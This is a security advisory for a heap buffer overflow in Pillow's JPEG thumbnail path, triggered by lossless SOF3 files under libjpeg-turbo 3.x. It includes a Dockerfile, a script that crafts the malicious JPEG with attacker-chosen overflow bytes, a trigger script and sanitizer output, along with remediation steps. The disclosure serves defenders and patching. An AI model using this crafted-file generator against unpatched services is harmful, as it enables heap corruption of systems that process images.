GHSA-8g5g-8vmr-9782: Pip/Pillow vulnerability

Published Oct 20, 2026
·
Updated

Summary

JpegImageFile.draft() — which Image.thumbnail() calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks self.size and the tile extents to match, so setimage() allocates a single-row decode buffer of ceil(W/s) samples. ImagingJpegDecode() sets cinfo.scalenum/scaledenom, calls jpegstartdecompress(), and then reads scanlines into that buffer without ever comparing cinfo.outputwidth, cinfo.outputheight or cinfo.outcolorcomponents against state->xsize, state->ysize and state->bits.

libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested scaledenom is silently discarded. It therefore returns full-width W-sample rows into a buffer sized for ceil(W/s). Each jpegreadscanlines() call writes (W - ceil(W/s)) x components bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.

The input is a standards-compliant JPEG, so Image.open(..., formats=["JPEG"]) does not prevent it. Pillow's Python SOF parser already accepts marker 0xFFC3 ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a JPEG / mode L image at its full declared size.

Affected code

At e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):

- src/libImaging/JpegDecode.c:224-262 — ImagingJpegDecode(); jpegstartdecompress() at :240, jpegreadscanlines() at :252, with no geometry check between them. - src/decode.c:222-231 — setimage(); state->buffer = calloc(1, state->bytes) with state->bytes = (state->bits state->xsize + 7) / 8. - src/PIL/JpegImagePlugin.py:428-464 — JpegImageFile.draft(); computes s and shrinks size, the tile extents and decoderconfig with no notion of lossless coding. - src/PIL/JpegImagePlugin.py:271 — 0xFFC3: ("SOF3", "Spatial lossless", SOF).

c // src/libImaging/JpegDecode.c if (context->scale > 1) { context->cinfo.scalenum = 1; context->cinfo.scaledenom = context->scale; } ... case 2: if (!jpegstartdecompress(&context->cinfo)) { break; } state->state++; / fall through / case 3: ok = 1; while (state->y < state->ysize) { ok = jpegreadscanlines(&context->cinfo, &state->buffer, 1);

Because state->ysize (ceil(H/s)) can never equal libjpeg's outputheight when s >= 2, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The OSError is a consequence of the overflow, not the issue being reported.

Primitive

Per scanline: a contiguous write of (W - ceil(W/s)) x c bytes immediately past a calloc(ceil(W/s) x c) block, where c = 1 for mode L and 4 for RGB (RGBX) and CMYK; repeated for ceil(H/s) rows over the same region. The buffer size class is chosen by the attacker through W, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.

Measured in the reproducer below: 1200x1100 mode L, s=2 — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one memcpy.

Threshold: draft() must select s >= 2, i.e. W // requestedw >= 2 and H // requestedh >= 2. For thumbnail((256,256)) with the default reducinggap=2.0 that means W, H >= 1024.

Reproduction

Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with -fsanitize=address; Pillow checked out at ${TARGETCOMMIT}, default e41083f383c9cd3db95de52564cc0b6452313d4a). Save the three files below as Dockerfile, makesof3.py and trigger.py in an empty directory, then:

bash docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob

makesof3.py is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predictor 1, Se=0, Ah=Al=0 / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. trigger.py opens it and calls thumbnail(), whose implicit draft() picks s=2 and allocates a 600-byte row buffer.

Dockerfile

dockerfile FROM ubuntu:24.04 ENV DEBIANFRONTEND=noninteractive ARG TARGETCOMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a ARG CLANGVERSION=20 ARG LIBJPEGTURBOTAG=3.1.4

RUN apt-get update && apt-get install -y --no-install-recommends \ ca-certificates git make cmake nasm pkg-config libc6-dev gcc \ wget gnupg lsb-release software-properties-common \ python3 python3-dev python3-pip python3-venv zlib1g-dev \ && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANGVERSION} \ && apt-get install -y --no-install-recommends clang-${CLANGVERSION} llvm-${CLANGVERSION} libclang-rt-${CLANGVERSION}-dev \ && rm -rf /var/lib/apt/lists/

ENV CC=clang-20 ENV CXX=clang++-20 ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address" ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address" ENV LDFLAGS="-fsanitize=address"

--- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan --- RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEGTURBOTAG} \ && cmake -B /build/ljt -S . -DCMAKEBUILDTYPE=None \ -DCMAKECCOMPILER=clang-20 \ -DCMAKECFLAGS="$CFLAGS" \ -DCMAKEEXELINKERFLAGS="$LDFLAGS" \ -DCMAKESHAREDLINKERFLAGS="$LDFLAGS" \ -DCMAKEINSTALLPREFIX=/opt/ljt -DWITHJPEG8=0 -DENABLESTATIC=0 \ && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt

--- Pillow at the pinned commit, built with ASan against that libjpeg --- RUN git clone https://github.com/python-pillow/Pillow /src/repo WORKDIR /src/repo RUN git checkout ${TARGETCOMMIT}

ENV JPEGROOT=/opt/ljt ENV LDLIBRARYPATH=/opt/ljt/lib RUN python3 -m venv /venv \ && /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \ && CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \ /venv/bin/pip install --no-build-isolation --no-deps . \ && ln -sf "$(clang-20 -print-file-name=libclangrt.asan-x8664.so)" /opt/libasan.so \ && LDPRELOAD=/opt/libasan.so ASANOPTIONS=detectleaks=0 \ /venv/bin/python3 -c "from PIL import Image, features; print(Image.version, features.version('jpg'))"

COPY makesof3.py /tmp/makesof3.py COPY trigger.py /tmp/trigger.py RUN python3 /tmp/makesof3.py /tmp/sof3gray1200x1100.jpg

ENV ASANOPTIONS=detectleaks=0:abortonerror=1:symbolize=1 ENV ASANSYMBOLIZERPATH=/usr/lib/llvm-20/bin/llvm-symbolizer ENV LDPRELOAD=/opt/libasan.so CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]

makesof3.py

python #!/usr/bin/env python3 """Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.

Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra). Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact). """ import struct import sys

W = 1200 H = 1100 MARKER = b"AAAABBBBCCCCDDDD" # attacker-chosen bytes that land past the buffer

class BitWriter: def init(self): self.out = bytearray() self.acc = 0 self.n = 0

def put(self, value, nbits): for i in range(nbits - 1, -1, -1): self.acc = (self.acc << 1) | ((value >> i) & 1) self.n += 1 if self.n == 8: self.out.append(self.acc) if self.acc == 0xFF: self.out.append(0x00) # byte stuffing self.acc = 0 self.n = 0

def flush(self): while self.n: self.put(1, 1) return bytes(self.out)

Canonical Huffman: 17 symbols (categories 0..16), all of code length 5. BITS = [0] 17 BITS[5] = 17 HUFFVAL = list(range(17)) CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}

def category(d): if d == 0: return 0 return abs(d).bitlength()

def buildpixels(): rows = [] for y in range(H): row = bytearray() while len(row) < W: row += MARKER rows.append(bytes(row[:W])) return rows

def main(path): rows = buildpixels() bw = BitWriter() prev = None for y in range(H): row = rows[y] for x in range(W): s = row[x] if y == 0 and x == 0: pred = 1 << 7 # 2^(P-1-Pt) elif x == 0: pred = prev[0] # Rb for first sample of a line else: pred = row[x - 1] # Ra, predictor 1 d = (s - pred) & 0xFFFF if d >= 0x8000: d -= 0x10000 ssss = category(d) code, length = CODES[ssss] bw.put(code, length) if ssss: v = d if d > 0 else d + (1 << ssss) - 1 bw.put(v & ((1 << ssss) - 1), ssss) prev = row entropy = bw.flush()

out = bytearray() out += b"\xff\xd8" # SOI # DHT: class 0 (DC/lossless), table id 0 dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL) out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht # SOF3: lossless, Huffman, sequential sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0]) out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0 sos = bytes([1, 1, 0x00, 1, 0, 0]) out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos out += entropy out += b"\xff\xd9" # EOI with open(path, "wb") as f: f.write(bytes(out)) print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")

if name == "main": main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3gray1200x1100.jpg")

trigger.py

python import sys from PIL import Image, features print("Pillow", Image.version, "| libjpeg", features.version("jpg"), flush=True) im = Image.open("/tmp/sof3gray1200x1100.jpg") print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True) print(">>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer", flush=True) sys.stdout.flush() try: im.thumbnail((256, 256)) print("thumbnail returned, size=%s" % (im.size,), flush=True) except Exception as e: print("exception: %r" % (e,), flush=True)

Validated output:

Pillow 13.0.0.dev0 | libjpeg 6.2 format=JPEG mode=L size=(1200, 1100) >> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer ================================================================= ==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422 WRITE of size 1200 at 0x74e4e904aad8 thread T0 #0 asanmemcpy #1 jcopysamplerows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5 #2 sepupsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3 #3 processdatasimplemain /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3 #4 jpegreadscanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3 #5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22 #6 decode /src/repo/src/decode.c:132:14

0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8) allocated by thread T0 here: #0 calloc #1 setimage /src/repo/src/decode.c:230:34

SUMMARY: AddressSanitizer: heap-buffer-overflow in asanmemcpy

Negative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as draft() computed it.

control baseline DCT JPEG: JPEG L (1200, 1100) thumbnail OK, size = (256, 235) -- no ASan report

Scope and caveats

- Reproduced on main at e41083f383c9cd3db95de52564cc0b6452313d4a, which is current origin/main as of 2026-08-30. Also reported against 12.3.0. - Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected. - No non-default Pillow configuration is involved: Image.thumbnail() calls draft() by default, and the triggering bytes are entirely file data. - Only paths that use draft() before loading are affected. open().load() and resize() decode at scale 1 and are unaffected. Calling img.load() before thumbnail(), or thumbnail(..., reducinggap=None), avoids the path in an application today. - Not affected on the same code path: SOF11 (arithmetic lossless) fails with JERRARITHNOTIMPL before any row; 12- and 16-bit lossless are rejected by Pillow's SOF() because it requires bits == 8; SOF5-7/13-15 fail with JERRSOFUNSUPPORTED.

Credit and disclosure

Found by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.

This report follows Anthropic's coordinated vulnerability disclosure policy (https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day disclosure window from the date of this report.

Credit goes to Claude (Anthropic) and Ada Logics.

Affected Software

1 affected componentFixes available
pip/Pillow<=12.3.0
13.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/Pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0
  2. Configuration

    Call thumbnail(..., reducing_gap=None) to avoid the affected draft() scaling path.

    Pillow Image.thumbnail() reducing_gap = None

Event History

Oct 20, 2026
Advisory Published
via GitHub·08:40 PM
Data Sourced
via GitHub·08:40 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which application workflows are exposed?

Workflows that call Image.thumbnail() are exposed because it automatically invokes JpegImageFile.draft(). The issue occurs when that path requests scaled JPEG decoding.

2

What does an attacker need to supply?

An attacker needs to provide a standards-compliant lossless JPEG using the SOF3 marker. Image.open(..., formats=["JPEG"]) does not block this input, because Pillow's parser accepts SOF3.

3

How can I identify potentially affected processing paths?

Identify code that accepts attacker-controlled JPEG files and calls Image.thumbnail(), or directly uses JpegImageFile.draft(). Give particular attention to lossless SOF3 JPEG inputs processed with libjpeg-turbo 3.x.

4

What is the impact of the overflow data?

The decoder can write full-width scanlines into a smaller scaled-image buffer, overflowing heap memory. For 8-bit grayscale lossless JPEGs, the overflowing bytes are decoded pixel values and are byte-exact.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203